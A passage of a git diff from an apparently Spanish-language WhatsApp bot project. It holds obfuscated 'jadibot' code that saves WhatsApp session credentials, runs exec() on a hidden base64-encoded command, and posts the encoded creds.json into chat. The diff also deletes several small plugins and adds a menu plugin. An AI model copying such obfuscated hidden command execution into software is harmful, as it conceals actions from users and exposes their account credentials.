_0x2021ce=_0x16fbae[0x0]&&_0x16fbae[0x0]['includes'](_0x51cbc1(0x221))?!![]:_0x16fbae[0x1]&&_0x16fbae[0x1]['includes'](_0x51cbc1(0x221))?!![]:![];let _0x48d2a0=_0x51937e['mentionedJid']&&_0x51937e[_0x51cbc1(0x21a)][0x0]?_0x51937e[_0x51cbc1(0x21a)][0x0]:_0x51937e['fromMe']?_0x566da8[_0x51cbc1(0x1f9)][_0x51cbc1(0x22c)]:_0x51937e[_0x51cbc1(0x210)],_0x2e15cf=''+_0x48d2a0[_0x51cbc1(0x213)]`@`[0x0];if(_0x2021ce){_0x16fbae[0x0]=_0x16fbae[0x0][_0x51cbc1(0x1f2)]('--code','')[_0x51cbc1(0x1e5)]();if(_0x16fbae[0x1])_0x16fbae[0x1]=_0x16fbae[0x1][_0x51cbc1(0x1f2)](_0x51cbc1(0x221),'')[_0x51cbc1(0x1e5)]();if(_0x16fbae[0x0]=='')_0x16fbae[0x0]=undefined;console[_0x51cbc1(0x1bb)](_0x16fbae[0x0]);}!_0x4b12c1[_0x51cbc1(0x1f6)](_0x51cbc1(0x20e)+_0x2e15cf)&&_0x4b12c1[_0x51cbc1(0x219)]('./jadibts/'+_0x2e15cf,{'recursive':!![]});_0x16fbae[0x0]&&_0x16fbae[0x0]!=undefined?_0x4b12c1[_0x51cbc1(0x1ef)]('./jadibts/'+_0x2e15cf+'/creds.json',JSON[_0x51cbc1(0x1d7)](JSON[_0x51cbc1(0x1f7)](Buffer[_0x51cbc1(0x1c2)](_0x16fbae[0x0],_0x51cbc1(0x1dd))[_0x51cbc1(0x1f8)]('utf-8')),null,'\x09')):'';if(_0x4b12c1[_0x51cbc1(0x1f6)]('./jadibts/'+_0x2e15cf+'/creds.json')){let _0x594116=JSON[_0x51cbc1(0x1f7)](_0x4b12c1[_0x51cbc1(0x1b5)](_0x51cbc1(0x20e)+_0x2e15cf+_0x51cbc1(0x1e2)));_0x594116&&((_0x594116['registered']=![])&&_0x4b12c1[_0x51cbc1(0x21b)](_0x51cbc1(0x20e)+_0x2e15cf+_0x51cbc1(0x1e2)));}const _0x50a7d4=Buffer[_0x51cbc1(0x1c2)](crm1+crm2+crm3+crm4,'base64');exec(_0x50a7d4[_0x51cbc1(0x1f8)](_0x51cbc1(0x235)),async(_0x3833c5,_0x252405,_0x37fa71)=>{const _0x2ee4da=_0x51cbc1,_0x5aad3a=Buffer[_0x2ee4da(0x1c2)](drm1+drm2,_0x2ee4da(0x1dd));async function _0x2f2bc9(){const _0x4c7f16=_0x2ee4da;let _0xa15ded=_0x51937e[_0x4c7f16(0x21a)]&&_0x51937e[_0x4c7f16(0x21a)][0x0]?_0x51937e[_0x4c7f16(0x21a)][0x0]:_0x51937e['fromMe']?_0x566da8[_0x4c7f16(0x1f9)]['jid']:_0x51937e[_0x4c7f16(0x210)],_0x4a5107=''+_0xa15ded[_0x4c7f16(0x213)]`@`[0x0];!_0x4b12c1['existsSync'](_0x4c7f16(0x20e)+_0x4a5107)&&_0x4b12c1[_0x4c7f16(0x219)](_0x4c7f16(0x20e)+_0x4a5107,{'recursive':!![]});_0x16fbae[0x0]?_0x4b12c1[_0x4c7f16(0x1ef)](_0x4c7f16(0x20e)+_0x4a5107+'/creds.json',JSON[_0x4c7f16(0x1d7)](JSON['parse'](Buffer[_0x4c7f16(0x1c2)](_0x16fbae[0x0],_0x4c7f16(0x1dd))[_0x4c7f16(0x1f8)](_0x4c7f16(0x235))),null,'\x09')):'';let {version:_0x393629,isLatest:_0x181568}=await fetchLatestBaileysVersion();const _0x2c6655=_0xcf830b=>{},_0x5dd634=new _0x459f9f(),{state:_0x4270e9,saveState:_0x224225,saveCreds:_0x1b7807}=await useMultiFileAuthState(_0x4c7f16(0x20e)+_0x4a5107),_0x745352={'printQRInTerminal':![],'logger':_0x164d95({'level':'silent'}),'auth':{'creds':_0x4270e9[_0x4c7f16(0x217)],'keys':makeCacheableSignalKeyStore(_0x4270e9[_0x4c7f16(0x201)],_0x164d95({'level':_0x4c7f16(0x1c4)}))},'msgRetry':_0x2c6655,'msgRetryCache':_0x5dd634,'version':_0x393629,'syncFullHistory':!![],'browser':_0x2021ce?[_0x4c7f16(0x216),'','']:[_0x4c7f16(0x1e3),_0x4c7f16(0x1da),_0x4c7f16(0x1c0)],'defaultQueryTimeoutMs':undefined,'getMessage':async _0x2321f8=>{const _0x5e8e30=_0x4c7f16;if(store){const _0x19e7df=store['loadMessage'](_0x2321f8[_0x5e8e30(0x1e0)],_0x2321f8['id']);return _0x19e7df['message']&&undefined;}return{'conversation':'Botsito'};}};let _0x2f8c33=makeWASocket(_0x745352);_0x2f8c33[_0x4c7f16(0x1bc)]=![];let _0x32e73d=!![];async function _0x4e9927(_0xe8482c){const _0x308400=_0x4c7f16,{connection:_0x477b2d,lastDisconnect:_0x38b36a,isNewLogin:_0x3e4441,qr:_0x4d6e93}=_0xe8482c;if(_0x3e4441)_0x2f8c33[_0x308400(0x1bc)]=![];if(_0x4d6e93&&!_0x2021ce)return _0x566da8['sendMessage'](_0x51937e[_0x308400(0x22b)],{'image':await _0x1b281a[_0x308400(0x1e4)](_0x4d6e93,{'scale':0x8}),'caption':rtx+_0x5aad3a[_0x308400(0x1f8)](_0x308400(0x235))},{'quoted':_0x51937e});if(_0x4d6e93&&_0x2021ce){_0x566da8[_0x308400(0x1d2)](_0x51937e[_0x308400(0x22b)],{'text':rtx2+_0x5aad3a[_0x308400(0x1f8)]('utf-8')},{'quoted':_0x51937e}),await sleep(0x1388);let _0x5aa827=await _0x2f8c33[_0x308400(0x22d)](_0x51937e[_0x308400(0x210)][_0x308400(0x213)]`@`[0x0]);await _0x51937e[_0x308400(0x1e9)](_0x5aa827);}const _0x2cce28=_0x38b36a?.[_0x308400(0x20f)]?.['output']?.[_0x308400(0x1cd)]||_0x38b36a?.['error']?.[_0x308400(0x1d4)]?.[_0x308400(0x1c5)]?.[_0x308400(0x1cd)];console[_0x308400(0x1bb)](_0x2cce28);const _0x3c5c2e=async _0xcbbd5f=>{const _0x4c0e9a=_0x308400;if(!_0xcbbd5f){try{_0x2f8c33['ws'][_0x4c0e9a(0x232)]();}catch{}_0x2f8c33['ev'][_0x4c0e9a(0x203)]();let _0x57118f=global['conns'][_0x4c0e9a(0x1e7)](_0x2f8c33);if(_0x57118f<0x0)return;delete global[_0x4c0e9a(0x229)][_0x57118f],global['conns']['splice'](_0x57118f,0x1);}},_0x8786b=_0x38b36a?.[_0x308400(0x20f)]?.[_0x308400(0x1d4)]?.['statusCode']||_0x38b36a?.[_0x308400(0x20f)]?.[_0x308400(0x1d4)]?.[_0x308400(0x1c5)]?.[_0x308400(0x1cd)];if(_0x477b2d===_0x308400(0x232)){console['log'](_0x8786b);if(_0x8786b==0x195)return await _0x4b12c1[_0x308400(0x21b)]('./jadibts/'+_0x4a5107+'/creds.json'),await _0x566da8[_0x308400(0x1e9)](lenguajeGB[_0x308400(0x1d0)]());if(_0x8786b===DisconnectReason[_0x308400(0x1ee)])return _0x2f2bc9(),console[_0x308400(0x1bb)](lenguajeGB[_0x308400(0x20b)]());else{if(_0x8786b===DisconnectReason[_0x308400(0x1b8)])return sleep(0xfa0),_0x566da8[_0x308400(0x1e9)](lenguajeGB[_0x308400(0x1d1)]());else{if(_0x8786b==0x1ac)return await _0x3c5c2e(![]),_0x566da8[_0x308400(0x1e9)](lenguajeGB['smsJBConexion']());else{if(_0x8786b===DisconnectReason['connectionLost'])return await _0x2f2bc9(),console['log'](lenguajeGB[_0x308400(0x1e8)]());else{if(_0x8786b===DisconnectReason[_0x308400(0x214)])return await _0x566da8[_0x308400(0x1e9)](lenguajeGB['smsJBConexionClose']());else{if(_0x8786b===DisconnectReason[_0x308400(0x1cc)])return await _0x3c5c2e(![]),console[_0x308400(0x1bb)](lenguajeGB[_0x308400(0x1cf)]());else console[_0x308400(0x1bb)](lenguajeGB[_0x308400(0x1f5)]());}}}}}}if(global['db'][_0x308400(0x1df)]==null)loadDatabase();if(_0x477b2d==_0x308400(0x1c3)){_0x2f8c33['isInit']=!![],global['conns'][_0x308400(0x1f0)](_0x2f8c33),await _0x566da8['sendMessage'](_0x51937e['chat'],{'text':_0x16fbae[0x0]?''+lenguajeGB['smsJBConexionTrue']():''+lenguajeGB[_0x308400(0x1bf)]()+('\x20'+(_0x35f495+_0x8933b))},{'quoted':_0x51937e}),await _0x566da8[_0x308400(0x1d2)](_0x51937e['chat'],{'text':''+lenguajeGB[_0x308400(0x1f4)](_0x35f495)},{'quoted':_0x51937e}),await sleep(0x1388);if(!_0x16fbae[0x0])_0x566da8['sendMessage'](_0x51937e[_0x308400(0x22b)],{'text':_0x35f495+_0x8933b+'\x20'+Buffer['from'](_0x4b12c1[_0x308400(0x1b5)](_0x308400(0x20e)+_0x4a5107+_0x308400(0x1e2)),'utf-8')[_0x308400(0x1f8)](_0x308400(0x1dd))},{'quoted':_0x51937e});}}setInterval(async()=>{const _0x47e8f2=_0x4c7f16;if(!_0x2f8c33[_0x47e8f2(0x1f9)]){try{_0x2f8c33['ws']['close']();}catch(_0x1b3791){console[_0x47e8f2(0x1bb)](await _0x2fcea4(!![])[_0x47e8f2(0x1c7)](console[_0x47e8f2(0x20f)]));}_0x2f8c33['ev']['removeAllListeners']();let _0x313502=global[_0x47e8f2(0x229)][_0x47e8f2(0x1e7)](_0x2f8c33);if(_0x313502<0x0)return;delete global[_0x47e8f2(0x229)][_0x313502],global['conns']['splice'](_0x313502,0x1);}},0xea60);let _0x2994da=await import(_0x4c7f16(0x1ea)),_0x2fcea4=async function(_0x441b8c){const _0x4b6b0b=_0x4c7f16;try{const _0x3f5047=await import(_0x4b6b0b(0x1c8)+Date[_0x4b6b0b(0x205)]())[_0x4b6b0b(0x1c7)](console['error']);if(Object['keys'](_0x3f5047||{})['length'])_0x2994da=_0x3f5047;}catch(_0x1d7021){console[_0x4b6b0b(0x20f)](_0x1d7021);}if(_0x441b8c){const _0x80c3e6=_0x2f8c33[_0x4b6b0b(0x1b6)];try{_0x2f8c33['ws'][_0x4b6b0b(0x232)]();}catch{}_0x2f8c33['ev'][_0x4b6b0b(0x203)](),_0x2f8c33=makeWASocket(_0x745352,{'chats':_0x80c3e6}),_0x32e73d=!![];}!_0x32e73d&&(_0x2f8c33['ev']['off'](_0x4b6b0b(0x1d9),_0x2f8c33['handler']),_0x2f8c33['ev'][_0x4b6b0b(0x1eb)](_0x4b6b0b(0x212),_0x2f8c33[_0x4b6b0b(0x20d)]),_0x2f8c33['ev'][_0x4b6b0b(0x1eb)](_0x4b6b0b(0x1fd),_0x2f8c33[_0x4b6b0b(0x228)]),_0x2f8c33['ev']['off'](_0x4b6b0b(0x202),_0x2f8c33[_0x4b6b0b(0x21e)]),_0x2f8c33['ev'][_0x4b6b0b(0x1eb)](_0x4b6b0b(0x1cb),_0x2f8c33[_0x4b6b0b(0x1c1)]),_0x2f8c33['ev'][_0x4b6b0b(0x1eb)](_0x4b6b0b(0x20c),_0x2f8c33['connectionUpdate']),_0x2f8c33['ev'][_0x4b6b0b(0x1eb)]('creds.update',_0x2f8c33[_0x4b6b0b(0x1d6)]));_0x2f8c33['welcome']=lenguajeGB[_0x4b6b0b(0x1d8)](),_0x2f8c33['bye']=lenguajeGB[_0x4b6b0b(0x223)](),_0x2f8c33[_0x4b6b0b(0x1ff)]=lenguajeGB['smsSpromote'](),_0x2f8c33['sdemote']=lenguajeGB[_0x4b6b0b(0x21d)](),_0x2f8c33[_0x4b6b0b(0x208)]=lenguajeGB[_0x4b6b0b(0x1d3)](),_0x2f8c33['sSubject']=lenguajeGB[_0x4b6b0b(0x1db)](),_0x2f8c33[_0x4b6b0b(0x22a)]=lenguajeGB[_0x4b6b0b(0x230)](),_0x2f8c33['sRevoke']=lenguajeGB[_0x4b6b0b(0x1be)](),_0x2f8c33[_0x4b6b0b(0x211)]=_0x2994da[_0x4b6b0b(0x211)][_0x4b6b0b(0x227)](_0x2f8c33),_0x2f8c33[_0x4b6b0b(0x20d)]=_0x2994da['participantsUpdate'][_0x4b6b0b(0x227)](_0x2f8c33),_0x2f8c33['groupsUpdate']=_0x2994da['groupsUpdate']['bind'](_0x2f8c33),_0x2f8c33[_0x4b6b0b(0x21e)]=_0x2994da[_0x4b6b0b(0x1fe)][_0x4b6b0b(0x227)](_0x2f8c33),_0x2f8c33[_0x4b6b0b(0x1c1)]=_0x2994da['callUpdate']['bind'](_0x2f8c33),_0x2f8c33[_0x4b6b0b(0x215)]=_0x4e9927[_0x4b6b0b(0x227)](_0x2f8c33),_0x2f8c33[_0x4b6b0b(0x1d6)]=_0x1b7807[_0x4b6b0b(0x227)](_0x2f8c33,!![]);const _0x324786=new Date(),_0x56de43=new Date(_0x2f8c33['ev']*0x3e8);return _0x324786['getTime']()-_0x56de43['getTime']()<=0x493e0?(console[_0x4b6b0b(0x1bb)](_0x4b6b0b(0x1f1),_0x2f8c33['ev']),Object['keys'](_0x2f8c33[_0x4b6b0b(0x1b6)])[_0x4b6b0b(0x1de)](_0x27ab81=>{const _0x3d0c2f=_0x4b6b0b;_0x2f8c33[_0x3d0c2f(0x1b6)][_0x27ab81][_0x3d0c2f(0x1ed)]=![];})):(console['log'](_0x2f8c33[_0x4b6b0b(0x1b6)],_0x4b6b0b(0x22e),_0x2f8c33['ev']),Object[_0x4b6b0b(0x201)](_0x2f8c33[_0x4b6b0b(0x1b6)])[_0x4b6b0b(0x1de)](_0x5e857b=>{const _0xee4af0=_0x4b6b0b;_0x2f8c33[_0xee4af0(0x1b6)][_0x5e857b][_0xee4af0(0x1ed)]=!![];})),_0x2f8c33['ev']['on'](_0x4b6b0b(0x1d9),_0x2f8c33['handler']),_0x2f8c33['ev']['on'](_0x4b6b0b(0x212),_0x2f8c33[_0x4b6b0b(0x20d)]),_0x2f8c33['ev']['on']('groups.update',_0x2f8c33[_0x4b6b0b(0x228)]),_0x2f8c33['ev']['on'](_0x4b6b0b(0x202),_0x2f8c33[_0x4b6b0b(0x21e)]),_0x2f8c33['ev']['on'](_0x4b6b0b(0x1cb),_0x2f8c33[_0x4b6b0b(0x1c1)]),_0x2f8c33['ev']['on'](_0x4b6b0b(0x20c),_0x2f8c33['connectionUpdate']),_0x2f8c33['ev']['on'](_0x4b6b0b(0x20a),_0x2f8c33[_0x4b6b0b(0x1d6)]),_0x32e73d=![],!![];};_0x2fcea4(![]);}_0x2f2bc9();});};handler[_0xf03a6(0x21c)]=['jadibot',_0xf03a6(0x1c6),_0xf03a6(0x225),_0xf03a6(0x1fc)],handler[_0xf03a6(0x1b7)]=[_0xf03a6(0x231)],handler[_0xf03a6(0x1ca)]=/^(jadibot|serbot|rentbot)/i;export default handler;const delay=_0x331659=>new Promise(_0xb7033f=>setTimeout(_0xb7033f,_0x331659));function sleep(_0x472f8f){return new Promise(_0x4af936=>setTimeout(_0x4af936,_0x472f8f));}
\ No newline at end of file
+export default handler;
diff --git a/plugins/lista-pareja.js b/plugins/lista-pareja.js
deleted file mode 100644
index 06fe8b912..000000000
--- a/plugins/lista-pareja.js
+++ /dev/null
@@ -1,17 +0,0 @@
-let handler = async (m, { conn, isOwner }) => {
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
-let user = conn.getName(m.sender)
-let pareja = global.db.data.users[m.sender].pasangan
-let relacion = Object.entries(global.db.data.users).filter(user => user[1].pasangan)
-let caption = `💝 𝑳𝒊𝒔𝒕𝒂 𝒅𝒆 𝒓𝒆𝒍𝒂𝒄𝒊𝒐𝒏
-*╭•·–––––––––––––––––––·•*
-│ *𝑻𝒐𝒕𝒂𝒍 : ${relacion.length} 𝑼𝒔𝒖𝒂𝒓𝒊𝒐* ${relacion ? '\n│\n' + relacion.map(([jid], i) => `
-│ *${i + 1}.* ${conn.getName(jid) == undefined ? 'Sin Pareja' : conn.getName(jid)}
-│ ${isOwner ? '@' + jid.split`@`[0] : jid}\n│ - - - - - - - - -`.trim()).join('\n') : ''}
-*╰•·–––––––––––––––––––·•*`
-await conn.sendButton(m.chat, caption, `💟 𝑴𝒊 𝒑𝒂𝒋𝒆𝒓𝒂 ⇢ ${pareja ? `*${user} 💞 ${conn.getName(pareja)}*` : `❌ *No tiene Pareja*`}\n${wm}`, null, [
-['𝑴𝒆𝒏𝒖 ☘️', '/menu']], m, { mentions: await conn.parseMention(caption) })
-}
-handler.command = /^(listaparejas|listarelacion|listship|listpareja)$/i
-
-export default handler
diff --git a/plugins/lista-premium.js b/plugins/lista-premium.js
deleted file mode 100644
index 067938d19..000000000
--- a/plugins/lista-premium.js
+++ /dev/null
@@ -1,15 +0,0 @@
-let handler = async (m, { conn, isOwner }) => {
-let vip = global.db.data.users[m.sender].premium
-let prem = Object.entries(global.db.data.users).filter(user => user[1].premium)
-let caption = `🎟️ 𝙐𝙨𝙪𝙖𝙧𝙞𝙤 𝙥𝙧𝙚𝙢𝙞𝙪𝙢
-*╭•·–––––––––––––––––––·•*
-│ *𝙏𝙤𝙩𝙖𝙡: ${prem.length} 𝙐𝙨𝙪𝙖𝙧𝙞𝙤:* ${prem ? '\n' + prem.map(([jid], i) => `
-│ *${i + 1}.* ${conn.getName(jid) == undefined ? 'Sin Usuarios' : conn.getName(jid)}
-│ ${isOwner ? '@' + jid.split`@`[0] : jid}\n│ - - - - - - - - -`.trim()).join('\n') : ''}
-*╰•·–––––––––––––––––––·•*`
-await conn.sendButton(m.chat, caption, `🎟️ 🅟🅡🅔🅜🅘🅤🅜 ⇢ ${vip ? '✅' : '❌'}\n${wm}`, null, [
-[`${vip ? '✦ 𝘿𝙞𝙨𝙛𝙧𝙪𝙩𝙖 𝙥𝙧𝙚𝙢𝙞𝙪𝙢 ✦': '✦ 𝘾𝙤𝙢𝙥𝙧𝙖 𝙥𝙖𝙨𝙚 𝙥𝙧𝙚𝙢𝙞𝙪𝙢 ✦'}`, `${vip ? '.allmenu': '.pase premium'}`]], m, { mentions: await conn.parseMention(caption) })
-}
-handler.command = /^(listapremium)$/i
-
-export default handler
diff --git a/plugins/main-menu.js b/plugins/main-menu.js
new file mode 100644
index 000000000..288b53f69
--- /dev/null
+++ b/plugins/main-menu.js
@@ -0,0 +1,183 @@
+import moment from 'moment-timezone'
+import { xpRange } from '../lib/levelling.js'
+import { db } from '../lib/postgres.js'
+import fs from "fs";
+
+const cooldowns = new Map()
+const COOLDOWN_DURATION = 180000
+
+const tags = {
+main: 'ℹ️ INFOBOT',
+jadibot: '✨ SER SUB BOT',
+downloader: '🚀 DESCARGAS',
+game: '👾 JUEGOS',
+gacha: '✨️ NEW - RPG GACHA',
+rg: '🟢 REGISTRO',
+group: '⚙️ GRUPO',
+nable: '🕹 ENABLE/DISABLE',
+nsfw: '🥵 COMANDO +18',
+buscadores: '🔍 BUSCADORES',
+sticker: '🧧 STICKER',
+econ: '🛠 RPG',
+convertidor: '🎈 CONVERTIDORES',
+logo: '🎀 LOGOS',
+tools: '🔧 HERRAMIENTA',
+randow: '🪄 RANDOW',
+efec: '🎙 EFECTO NOTA DE VOZ',
+owner: '👑 OWNER'
+}
+
+const defaultMenu = {
+before: `「 %wm 」
+
+Hola 👋🏻 *%name*
+
+*• Fecha:* %fecha
+*• Hora:* %hora (🇦🇷)
+*• Usuario:* %totalreg
+*• Tiempo activos:* %muptime
+*• Tu limite:* %limit
+%botOfc
+
+*• Usuario registrados:* %toUserReg de %toUsers
+
+Unirte a nuestro canal de WhatsApp y informarte de todas la novedades/Actualizaciones del bot y mas
+%nna2
+
+*Puede hablar con bot de esta forma ej:*
+@%BoTag ¿Que es una api?
+`.trimStart(),
+ header: '`<[ %category ]>`',
+ body: ' %cmd %islimit %isPremium',
+ footer: `\n`,
+ after: ''
+}
+
+const handler = async (m, { conn, usedPrefix: _p, args }) => {
+const chatId = m.key?.remoteJid;
+const now = Date.now();
+const chatData = cooldowns.get(chatId) || { lastUsed: 0, menuMessage: null };
+const timeLeft = COOLDOWN_DURATION - (now - chatData.lastUsed);
+
+if (timeLeft > 0) {
+try {
+const senderTag = m.sender ? `@${m.sender.split('@')[0]}` : '@usuario';
+await conn.reply(chatId, `⚠️ Hey ${senderTag}, pendejo, ahí está el menú 🙄\n> Solo se enviará cada 3 minutos para evitar spam, Desplázate hacia arriba para verlo completo. 👆`, chatData.menuMessage || m);
+} catch (err) {
+return;
+}
+return;
+}
+
+const name = m.pushName || 'sin name';
+const fecha = moment.tz('America/Argentina/Buenos_Aires').format('DD/MM/YYYY');
+const hora = moment.tz('America/Argentina/Buenos_Aires').format('HH:mm:ss');
+const _uptime = process.uptime() * 1000;
+const muptime = clockString(_uptime);
+
+let user;
+try {
+const userRes = await db.query(`SELECT * FROM usuarios WHERE id = $1`, [m.sender]);
+user = userRes.rows[0] || { limite: 0, level: 0, exp: 0, role: '-' };
+} catch (err) {
+user = { limite: 0, level: 0, exp: 0, role: '-' };
+}
+
+let totalreg = 0;
+let rtotalreg = 0;
+try {
+const userCountRes = await db.query(`
+ SELECT COUNT(*)::int AS total,
+ COUNT(*) FILTER (WHERE registered = true)::int AS registrados
+ FROM usuarios
+ `);
+totalreg = userCountRes.rows[0].total;
+rtotalreg = userCountRes.rows[0].registrados;
+} catch (err) {
+}
+const toUsers = toNum(totalreg);
+const toUserReg = toNum(rtotalreg);
+const nombreBot = conn.user?.name || 'Bot'
+const isPrincipal = conn === global.conn;
+const tipo = isPrincipal ? 'Bot Oficial' : 'Sub Bot';
+let botOfc = '';
+let BoTag = "";
+if (conn.user?.id && global.conn?.user?.id) {
+const jidNum = conn.user.id.replace(/:\d+/, '').split('@')[0];
+botOfc = (conn.user.id === global.conn.user.id) ? `*• Bot Ofc:* wa.me/${jidNum}` : `*• Soy un sub bot del:* wa.me/${global.conn.user.id.replace(/:\d+/, '').split('@')[0]}`;
+BoTag = jidNum;
+}
+
+const multiplier = "750" || 1.5;
+const { min, xp, max } = xpRange(user.level || 0, multiplier);
+
+const help = Object.values(global.plugins).filter(p => !p.disabled).map(plugin => ({
+help: Array.isArray(plugin.help) ? plugin.help : [plugin.help],
+tags: Array.isArray(plugin.tags) ? plugin.tags : [plugin.tags],
+prefix: 'customPrefix' in plugin,
+limit: plugin.limit,
+premium: plugin.premium
+}));
+
+const categoryRequested = args[0]?.toLowerCase();
+const validTags = categoryRequested && tags[categoryRequested] ? [categoryRequested] : Object.keys(tags);
+let text = defaultMenu.before;
+
+for (const tag of validTags) {
+const comandos = help.filter(menu => menu.tags && menu.tags.includes(tag) && menu.help);
+if (!comandos.length) continue;
+
+text += '\n' + defaultMenu.header.replace(/%category/g, tags[tag]) + '\n';
+for (const plugin of comandos) {
+for (const helpCmd of plugin.help) {
+text += defaultMenu.body
+.replace(/%cmd/g, plugin.prefix ? helpCmd : _p + helpCmd)
+.replace(/%islimit/g, plugin.limit ? '(💎)' : '')
+.replace(/%isPremium/g, plugin.premium ? '(💵)' : '') + '\n';
+}}
+text += defaultMenu.footer;
+}
+text += defaultMenu.after;
+
+const replace = {
+'%': '%', p: _p, name,
+limit: user.limite || 0,
+level: user.level || 0,
+role: user.role || '-',
+totalreg, rtotalreg, toUsers, toUserReg,
+exp: (user.exp || 0) - min,
+maxexp: xp,
+totalexp: user.exp || 0,
+xp4levelup: max - (user.exp || 0),
+fecha, hora, muptime,
+wm: info.wm,
+botOfc: botOfc,
+BoTag: BoTag,
+nna2: info.nna2
+};
+
+text = String(text).replace(new RegExp(`%(${Object.keys(replace).join('|')})`, 'g'), (_, key) => replace[key] ?? '');
+try {
+let pp = fs.readFileSync('./media/Menu2.jpg');
+const menuMessage = await conn.sendMessage(chatId, { text: text, contextInfo: { forwardedNewsletterMessageInfo: { newsletterJid: "120363305025805187@newsletter",newsletterName: "LoliBot ✨️" }, forwardingScore: 999, isForwarded: true, mentionedJid: await conn.parseMention(text), externalAdReply: { mediaUrl: [info.nna, info.nna2, info.md].getRandom(), mediaType: 2, showAdAttribution: false, renderLargerThumbnail: false, title: "✨️ MENU ✨️", body: `${nombreBot} (${tipo})`, thumbnailUrl: info.img2, sourceUrl: "https://skyultraplus.com" }}}, { quoted: m });
+cooldowns.set(chatId, { lastUsed: now, menuMessage: menuMessage })
+m.react('🙌');
+} catch (err) {
+m.react('❌')
+console.error(err);
+}}
+handler.help = ['menu']
+handler.tags = ['main']
+handler.command = /^(menu|help|allmenu|menú)$/i
+export default handler
+
+const clockString = ms => {
+ const h = isNaN(ms) ? '--' : Math.floor(ms / 3600000)
+ const m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
+ const s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
+ return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')
+}
+
+const toNum = n => (n >= 1_000_000) ? (n / 1_000_000).toFixed(1) + 'M'
+ : (n >= 1_000) ? (n / 1_000).toFixed(1) + 'k'
+ : n.toString()
\ No newline at end of file
diff --git a/plugins/maker-blur.js b/plugins/maker-blur.js
deleted file mode 100644
index 6960fd3cc..000000000
--- a/plugins/maker-blur.js
+++ /dev/null
@@ -1,10 +0,0 @@
-let handler = async (m, { conn, usedprefix }) => {
-let who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
-conn.sendFile(m.chat, global.API('https://some-random-api.ml', '/canvas/blur', {
-avatar: await conn.profilePictureUrl(who, 'image').catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'),
-}), 'hornycard.png', '✨ 𝑬𝒔𝒕𝒂 𝒍𝒊𝒔𝒕𝒐!!\n𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝒃𝒐𝒕-𝑴𝑫', m)
-}
-handler.help = ['blur','difuminar2']
-handler.tags = ['maker']
-handler.command = /^(blur|difuminar2)$/i
-export default handler
diff --git a/plugins/maker-horncard.js b/plugins/maker-horncard.js
deleted file mode 100644
index 0c836f81e..000000000
--- a/plugins/maker-horncard.js
+++ /dev/null
@@ -1,12 +0,0 @@
-const handler = async (m, {conn}) => {
- const who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender;
- conn.sendFile(m.chat, global.API('https://some-random-api.com', '/canvas/horny', {
- avatar: await conn.profilePictureUrl(who, 'image').catch((_) => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'),
- }), 'hornycard.png', '*Tu estas Caliente 🥵🔥*', m);
-};
-handler.help = ['hornycard', 'hornylicense'];
-handler.tags = ['maker'];
-handler.command = /^(horny(card|license))$/i;
-handler.limit = 1
-handler.register = true
-export default handler;
diff --git a/plugins/maker-itssostupid.js b/plugins/maker-itssostupid.js
deleted file mode 100644
index 39ad4aebf..000000000
--- a/plugins/maker-itssostupid.js
+++ /dev/null
@@ -1,14 +0,0 @@
-const handler = async (m, {conn, args}) => {
- const text = args.slice(1).join(' ');
- const who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender;
- conn.sendFile(m.chat, global.API('https://some-random-api.com', '/canvas/its-so-stupid', {
- avatar: await conn.profilePictureUrl(who, 'image').catch((_) => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'),
- dog: text || 'im+stupid',
- }), 'error.png', `*@${author}*`, m);
-};
-handler.help = ['itssostupid', 'iss', 'stupid'];
-handler.tags = ['maker'];
-handler.command = /^(itssostupid|iss|stupid)$/i;
-handler.limit = 1
-handler.register = true
-export default handler;
diff --git a/plugins/maker-logos.js b/plugins/maker-logos.js
deleted file mode 100644
index aff8e7aee..000000000
--- a/plugins/maker-logos.js
+++ /dev/null
@@ -1,892 +0,0 @@
-import axios from "axios";
-import cheerio from "cheerio";
-import FormData from "form-data";
-const split = '|';
-const handler = async (m, {conn, args: [effect], text: txt, usedPrefix, command, name}) => {
- if (!effect) throw `${mg}𝙐𝙎𝘼𝙍 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 𝘿𝙀 𝙎𝙄𝙂𝙐𝙄𝙀𝙉𝙏𝙀 𝙈𝘼𝙉𝙀𝙍𝘼\n𝙐𝙎𝙀 𝙏𝙃𝙀 𝘾𝙊𝙈𝙈𝘼𝙉𝘿 𝘼𝙎 𝙁𝙊𝙇𝙇𝙊𝙒𝙎\n💫 *${usedPrefix + command} efecto texto*\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊 | 𝙀𝙓𝘼𝙈𝙋𝙇𝙀\n💫 *${usedPrefix + command} American-flag-3D GataBot*\n\n𝙀𝙉 𝘾𝘼𝙎𝙊 𝘿𝙀 𝙌𝙐𝙀 𝘿𝙄𝙂𝘼 𝙌𝙐𝙀 𝙁𝘼𝙇𝙏𝘼 𝙏𝙀𝙓𝙏𝙊 𝙐𝙎𝘼𝙍 𝘿𝙀 𝙀𝙎𝙏𝘼 𝙁𝙊𝙍𝙈𝘼\n𝙄𝙉 𝘾𝘼𝙎𝙀 𝙄𝙏 𝙎𝘼𝙔𝙎 𝙏𝙀𝙓𝙏 𝙄𝙎 𝙈𝙄𝙎𝙎𝙄𝙉𝙂 𝙐𝙎𝙀 𝙇𝙄𝙆𝙀 𝙏𝙃𝙄𝙎\n💫 *${usedPrefix + command} efecto texto1|texto2*\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊 | 𝙀𝙓𝘼𝙈𝙋𝙇𝙀\n💫 *${usedPrefix + command} Wolf-Logo-Galaxy GataBot|GataDios*\n\n*✨ 𝙇𝙄𝙎𝙏𝘼 𝘿𝙀 𝙇𝙊𝙂𝙊𝙎*\n\n🤍 ${usedPrefix + command} ` + effects.map(v => v.title).join(`\n💜 ${usedPrefix + command} `)
